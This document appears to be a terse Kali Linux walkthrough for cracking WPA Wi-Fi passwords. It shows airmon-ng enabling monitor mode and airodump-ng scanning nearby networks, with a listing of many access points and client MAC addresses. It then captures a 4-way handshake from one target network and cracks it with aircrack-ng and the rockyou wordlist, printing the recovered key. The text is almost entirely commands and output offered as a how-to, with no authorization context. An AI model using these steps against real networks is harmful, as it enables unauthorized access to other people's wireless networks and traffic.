

Hack WPA Using Handshake

SETUP

```
root@kali:~# airmon-ng
```

```
PHY Interface Driver Chipset
```

```
phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187
```

```
root@kali:~# iwconfig
```

```
lo          no wireless extensions.
```

```
wlan0      IEEE 802.11  ESSID:off/any  
            Mode:Managed  Access Point: Not-Associated  Tx-Power=0 dBm  
            Retry short limit:7   RTS thr:off   Fragment thr:off  
            Encryption key:off  
            Power Management:on
```

```
eth0       no wireless extensions.
```

TURN ON MONITOR MODE - WIFI

```
root@kali:~# airmon-ng start wlan0
```

PHY Interface Driver Chipset

phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187

(mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
(mac80211 station mode vif disabled for [phy2]wlan0)

```
root@kali:~# iwconfig
```

lo no wireless extensions.

wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

eth0 no wireless extensions.

MONITOR WIFI TRAFFIC

```
root@kali:~# airodump-ng wlan0mon
```

CH 6][Elapsed: 12 s][2019-11-18 15:53

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	E
18:64:72:61:25:E4	-1	0	0 0	6	-1				<
70:3A:0E:38:74:C5	-25	4	0 0	6	195	OPN			U
70:3A:0E:38:74:C4	-25	5	0 0	6	195	WPA2	CCMP	MGT	e
70:3A:0E:38:74:C0	-26	3	0 0	6	195	OPN			G

CC:81:DA:D6:CA:A0	-25	6	0	0	2	130	OPN				W
00:18:39:EC:F4:D8	-23	9	0	0	6	54	WPA	TKIP	PSK		W
00:0F:66:9E:16:46	-23	14	0	0	6	54	WEP	WEP			W
00:1C:10:57:9F:46	-33	13	0	0	6	54	OPN				P
70:3A:0E:20:1D:00	-32	4	0	0	1	195	OPN				G
70:3A:0E:20:1D:05	-32	5	0	0	1	195	OPN				U
70:3A:0E:20:1D:04	-33	5	0	0	1	195	OPN				U
70:3A:0E:20:1D:02	-33	3	0	0	1	195	WPA2	CCMP	MGT		e
70:3A:0E:1F:64:E2	-36	1	0	0	11	195	WPA2	CCMP	MGT		e
70:3A:0E:1F:64:E5	-36	3	0	0	11	195	OPN				U
D8:30:62:30:8B:F9	-36	10	32	2	11	130	WPA2	CCMP	PSK		b
70:3A:0E:1F:64:E4	-42	4	0	0	11	195	OPN				U
70:3A:0E:38:74:C3	-38	13	0	0	6	195	OPN				U
70:3A:0E:38:72:83	-46	3	0	0	6	195	OPN				U
04:1E:64:9A:14:D3	-46	3	17	0	1	130	WPA2	CCMP	PSK		x
70:3A:0E:38:72:85	-46	3	0	0	6	195	OPN				U
90:72:40:1B:90:7E	-49	7	0	0	6	195	WPA2	CCMP	PSK		K
68:7F:74:B1:C3:C8	-51	1	0	0	1	130	WPA2	CCMP	PSK		c
70:3A:0E:1F:65:45	-51	3	0	0	11	195	OPN				U
70:3A:0E:1F:65:44	-51	3	0	0	11	195	OPN				U
70:3A:0E:1F:65:40	-52	2	0	0	11	195	OPN				G
70:3A:0E:1F:64:85	-55	3	0	0	1	195	OPN				U
70:3A:0E:1F:64:80	-55	2	0	0	1	195	OPN				G
B0:7F:B9:4B:77:57	-56	6	0	0	8	195	WPA2	CCMP	PSK		<
40:3C:FC:06:97:DD	-58	2	0	0	6	130	WPA2	CCMP	PSK		P
80:8D:B7:D7:68:63	-60	3	0	0	11	130	OPN				G
80:8D:B7:D7:68:60	-60	3	0	0	11	130	OPN				U
38:17:C3:2C:13:43	-61	3	0	0	6	260	OPN				G

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
18:64:72:61:25:E4	68:37:E9:85:F9:9C	-55	0 - 24e	9	14	
(not associated)	28:16:A8:67:86:8F	-21	0 - 1	14	4	
(not associated)	00:0E:00:0C:7B:70	-36	0 - 6	0	2	11n-AP
(not associated)	FA:58:B3:F9:31:86	-40	0 - 1	0	4	
(not associated)	30:FD:38:A6:46:A5	-58	0 - 1	0	2	KTC Wo
(not associated)	C0:25:E9:27:B1:46	-58	0 - 1	0	1	
(not associated)	D0:77:14:C3:01:02	-60	0 - 1	0	1	
(not associated)	CC:95:D7:AC:5E:4F	-62	0 - 1	4	2	UDe1
(not associated)	EC:5C:68:37:B6:65	-62	0 - 1	0	1	
70:3A:0E:20:1D:02	48:2C:A0:65:E2:CE	-54	0 - 1e	0	3	

Capture a 4-way Handshake

```
root@kali:~/WPA# airodump-ng -c 6 --bssid 00:18:39:EC:F4:D8 -w . wlan0mon
```

CH 6][Elapsed: 1 min][2019-11-18 16:05][WPA handshake: 00:18:39:EC:

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AU
00:18:39:EC:F4:D8	-20	100	578	585 0	6	54	WPA	TKIP	PS

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
00:18:39:EC:F4:D8	A0:C5:89:15:DB:D7	-19	54 -48	0	220	
00:18:39:EC:F4:D8	8C:85:90:4E:3A:67	-22	54 - 1	19	150	

Crack with Dictionary

```
root@kali:~/WPA# aircrack-ng -a2 -b 00:18:39:EC:F4:D8 -w rockyou.txt WPA-01
```

[00:00:00] 1356/7120712 keys tested (3479.53 k/s)

Time left: 34 minutes, 6 seconds

0.02%

KEY FOUND! [aaaaaaaa]

Master Key : 87 74 01 D6 DC E5 FA A6 39 B1 0C D2 85 11 95 26
60 57 9E 1F 91 9C D7 12 FC 19 1F F7 75 0C 06 FC

Transient Key : 89 FC B1 8F EE 76 1F C7 51 E2 3B 18 B8 71 D6 D7
D4 B8 77 B8 CF 10 88 8A 04 CD F0 44 BA F8 F5 D6
4C EC B9 00 3A A2 43 7B 85 3C 80 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : F6 69 C4 81 A9 36 DF D7 71 2B B3 E5 13 9D 61 C1